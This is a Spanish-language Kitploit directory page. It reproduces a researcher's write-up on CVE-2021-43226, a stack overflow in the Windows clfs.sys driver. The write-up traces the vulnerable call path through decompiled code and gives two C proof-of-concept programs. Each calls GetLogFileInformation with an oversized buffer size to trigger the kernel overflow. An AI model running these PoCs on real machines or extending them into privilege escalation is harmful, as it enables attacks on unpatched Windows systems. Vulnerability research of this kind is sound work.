Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2021-43226PoC — una Prueba de Concepto de cve-2021-43226,desbordamiento de pila en el controlador de Windows clfs.sys | Kitploit
Herramientas/GitHubGitHub/rosayxy/cve-2021-43226poc
Análisis de VulnerabilidadesExplotaciónExplotación de Binarios
GitHubrosayxy/cve-2021-43226poc

cve-2021-43226PoC

una Prueba de Concepto de cve-2021-43226,desbordamiento de pila en el controlador de Windows clfs.sys

Ver Repositorio
212hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Reproducción de CVE-2021-43226

Entorno

Sistema operativo: Win10 20H2 en Hyper-V, versión 19042.508. Se encontró un sitio web https://os.click/en, con imágenes de Windows bastante completas y, por ahora, sin puertas traseras detectadas.
Como el PoC encontrado está compilado con Visual Studio 2013, también utilizo Visual Studio 2013 con enlace estático para el programa.

Vulnerabilidad

El punto vulnerable está en la función CClfsLogFcbVirtual::QueryLogFileInfo dentro de clfs.sys.
En la documentación de Microsoft, clfs.sys se describe como:

The Common Log File System (CLFS) API provides a high-performance, general-purpose log file subsystem that dedicated client applications can use and multiple clients can share to optimize log access.

El primer puntero de esta función es CClfsLogFcbVirtual* this. Comparando el código antes y después del parche, se puede notar una diferencia obvia en el siguiente bloque de código:

v11 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD, _QWORD, _DWORD, __int64 *, unsigned int *))(**((_QWORD **)this + 78) + 152i64))(
              *((_QWORD *)this + 78),
              a2,
              0i64,
              0i64,
              0,
              Src,
              Size);

antes de establecer Size en 120.

Entre los otros parámetros llamados por esta función, a2 es un FILE_OBJECT, Src es un array en la pila (IDA descompila como __int64 Src[16]; // [rsp+60h] [rbp-C8h] BYREF), y la descripción de esta vulnerabilidad indica un desbordamiento de pila. Se infiere que cuando Size es mayor que 120, se produce un desbordamiento de pila.

Un problema encontrado es que no se puede ver directamente la referencia cruzada; esta función es llamada a través de __guard_dispatch_icall_fptr. Actualmente se está determinando el proceso de paso de parámetros en la llamada a la función.

(Actualización): Esta función es llamada por ClfsQueryLogFileInformation o CClfsRequest::LogFileInfo. Estas dos utilizan respectivamente las API CreateLogFile y GetLogFileInformation. Dado que la cadena de llamadas de GetLogFileInformation es claramente más corta, se elige esta API para generar el crash.

El último paso de la llamada a GetLogFileInformation se encuentra en la función LogFileInfo, de la siguiente manera:

v10 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD))(**((_QWORD **)this + 18) + 240i64))(
            *((_QWORD *)this + 18),
            v14,
            **(unsigned int **)(*((_QWORD *)this + 6) + 24i64));

donde v14 es un FileObject y this es un CClfsRequest pasado como parámetro a LogFileInfo.

Continuando hacia arriba, la función que llama a LogFileInfo es CClfsRequest::Dispatch (declaración específica: __int64 fastcall CClfsRequest::Dispatch(CClfsRequest *this, PIRP Irp, struct _DEVICE_OBJECT *a3)). Esta función determina cuál función llamar a continuación mediante LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;, donde CurrentStackLocation es una estructura struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx pasada como parámetro. La asignación de this a su vez depende de los parámetros pasados por la función superior a este dispatch, así que continuamos hacia arriba.

La siguiente función es CClfsDispatchIoRequest: v7 = CClfsRequest::Dispatch(v4, Irp, a1);. a1 e Irp son parámetros entrantes, a1 es un DeviceObject, Irp es un puntero de tipo PIRP (ver https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_irp).

v4 se asigna así:

v6 = (CClfsRequest *)ExAllocateFromNPagedLookasideList((PNPAGED_LOOKASIDE_LIST)&CClfsRequest::m_laList);
if ( v6 )
  v4 = CClfsRequest::CClfsRequest(v6); // v4 es de tipo int64

Continuando hacia arriba, se llega a la función CClfsDriver::LogIoDispatch, que pasa directamente sus parámetros a CClfsDispatchIoRequest.

Un paso más arriba está la función nt!IofCallDriver, cuya declaración es: NTSTATUS IofCallDriver( PDEVICE_OBJECT DeviceObject, __drv_aliasesMem PIRP Irp );

Reproducción

Primero, buscar la declaración específica de la API y el significado de los parámetros.

GetLogFileInformation:

CLFSUSER_API BOOL GetLogFileInformation(
  [in]      HANDLE            hLog,
  [in, out] PCLFS_INFORMATION pinfoBuffer,
  [in, out] PULONG            cbBuffer
);

Los parámetros se definen así:

  • hLog: Mango del registro abierto obtenido de una llamada exitosa a CreateLogFile. El mango del registro puede referirse a un registro dedicado o a un registro multiplexado.
  • pinfoBuffer: Puntero a una estructura CLFS_INFORMATION asignada por el usuario que recibe los metadatos del registro.
  • cbBuffer: Puntero a una variable que, en la entrada, especifica el tamaño en bytes del búfer de metadatos al que apunta pinfoBuffer.
#include <stdio.h>
#include <wchar.h>
#include <Windows.h>
#include <windef.h>
#include <stdlib.h>
#include <clfsw32.h>
#include <clfs.h>
#pragma comment(lib,"clfsw32.lib")
int main(){
	//create log file
	wchar_t* logname = L"LOG:C:\\Users\\Public\\MyLog::Logstream";
	HANDLE handle = CreateLogFile(logname, GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0);
	if (handle == INVALID_HANDLE_VALUE){
		printf("sad:(\n");
		abort();
	}
	printf("create log file success\n");
	//sizeof(CLS_INFORMATION) es 120, es decir 0x78
	CLFS_INFORMATION buffer;
	ULONG t = 0x120;
	BOOL ret_val = GetLogFileInformation(handle, &buffer, &t);
	return 0;
}

Aquí, los parámetros de CreateLogFile y GetLogFileInformation se copian directamente de la documentación de Microsoft (https://learn.microsoft.com/en-us/previous-versions/windows/desktop/clfs/creating-a-log-file).

Sin embargo, tuve un pequeño problema con el nombre del registro. Inicialmente seguí la documentación:

Por ejemplo: la ruta "LOG:c:\MyDirectory\MyLog" crea el archivo "c:\MyDirectory\MyLog.blf". Pero descubrí que esto directamente creaba un archivo de registro llamado "c" en el directorio actual. Entonces miré el PoC (Others) y cambié a la ruta genérica de Windows: "LOG: C:\\MyLog", pero tampoco funcionaba. Al depurar, descubrí que no se llamaba a CClfsLogFcbVirtual::QueryLogFileInfo sino a la función CClfsLogFcbPhysical::QueryLogFileInfo. Así que agregué un LogStreamName y entonces funcionó.

Otro detalle: al generar el código en Visual Studio con enlace estático, si no se incluía la línea #pragma comment(lib,"clfsw32.lib"), el enlazador reportaba repetidamente que no encontraba CreateLogFile y GetLogFileInformation.

PoC (Others)

(https://github.com/KaLendsi/CVE-2021-43224-POC)

#include <Windows.h>
#include <wchar.h>
#include <iostream>
#include <clfsw32.h>
#include <Clfsmgmtw32.h>
#pragma comment(lib, "clfsw32.lib")

int main() {
	wchar_t szLogPath[] = L"LOG:C:\\Users\\Public\\MyLog::Stream1";

	//wchar_t szLogPath[] = L"??\\LOG:\\HarddiskVolume0\\MyLog";

	//wchar_t szLogPath[] = L"LOG:\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0\\Users\\Public\\MysssLog";

	//\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0

	//SECURITY_ATTRIBUTES psaLogFile = {};
	HANDLE   hLog = CreateLogFile(szLogPath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL);
	if (INVALID_HANDLE_VALUE == hLog)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	if (!RegisterManageableLogClient(hLog, 0))
		printf("error=%d\n", GetLastError());
	printf("hLog=%p\n", hLog);
	CLFS_INFORMATION pinfoBuffer = {};

	//ULONG infoSize = sizeof(pinfoBuffer);
	ULONG infoSize = 0x110;

	//	system("pause");
	DWORD dwRet = GetLogFileInformation(hLog, &pinfoBuffer, &infoSize);
	if (dwRet == NULL)
	{
		printf("error=%d\n", GetLastError());
		return 1;
	}
	printf("dwRet=%08x\n", dwRet);

	return 0;
}

Descargar herramienta